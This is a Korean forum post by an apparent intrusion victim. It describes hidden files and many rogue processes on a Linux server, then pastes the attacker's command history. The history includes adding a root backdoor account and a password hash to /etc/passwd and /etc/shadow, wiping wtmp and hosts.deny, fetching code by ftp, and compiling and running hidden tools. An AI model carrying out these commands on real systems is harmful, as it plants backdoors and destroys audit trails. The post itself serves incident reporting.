당했습니다.
1Cust127.tnt8.new-york.ny.da.uu.net는 도대체 어딥니까?
dev/ttyh에
lpdd와 alpd.master가 만들어져 있더군요.
vi dev/ttyh/alpd.master
128.97.138.41
128.100.103.214
[root@linux_pc ttyh]# ps -ef|grep lpdd 해보니.. 수십개의 프로세서가 떠
있더군요...
아래 내용은 그놈이 작업한 history입니다.
294 vi /etc/passwd
295 ls
296 id
297 ls
298 wget
299 gcc
300 who
301 uptime
302 ftp ftp.tripod.com
303 echo own:x:0:0::/root:/bin/bash >> /etc/passwd
304 echo adm1:x:5000:5000:Tech Admin:/tmp:/bin/bash>> /etc/passwd
305 echo own::10865:0:99999:7:-1:-1:134538460 >> /etc/shadow
306 echo adm1:Yi2yCGHo0wOwg:10884:0:99999:7:-1:-1:134538412
>> /etc/shadow
307 cd /tmp
308 ls
309 gcc -o bling bling.c
310 ./bling
311 ./bling -own master 6336 m0r0n
312 ls
313 exit
314 ls
315 ps -auwx
316 ps -aux
317 ps -aux
318 rm -rf /etc/hosts.deny
319 touch /etc/hosts.deny
320 rm -rf /var/log/wtmp
321 touch /var/log/wtmp
322 rm -rf /etc/rc.d/init.d/*log*
323 ls -al
324 ls
325 who
326 pico /etc/inetd.conf
327 cd /etc
328 ls
329 rm -rf inetd.conf
330 ls
331 pico xinetd.conf
332 pico xinetdd
333 pico xinetd.d
334 cd xinetd.d
335 ls
336 ls
337 cd ..
338 cd /tmp
339 ls
340 rm -rf bling bling.c
341 ls
342 exit
343 ls
344 ls -al
345 sockstat
346 netstat
347 pico /etc/xinetd.conf
348 pico /etc/xinetd.conf
349 ls
350 cd /var/log
351 ls
352 pico netconf.log
353 pico wtmp.log
354 ls
355 pico wtmp
356 ls
357 tail -f /var/log/messages
358 cd /etc
359 pico named.conf
360 ls
361 cd /var/log
362 ls
363 cd /var
364 ls
365 exit
366 w
367 cd /dev
368 mkdir ttyh
369 cd ttyh
370 ls -al
371 ftp ftp.tripod.com
372 ls
373 pico alpd.c
374 gcc -o lpdd alpd.c
375 rm -rf alpd.c
376 ./lpdd
377 ./lpdd 128 &
378 ls
379 exit
380 cd /dev/ttyh
381 ls -al
382 ps
383 ps -auwx
384 ls -al
385 exit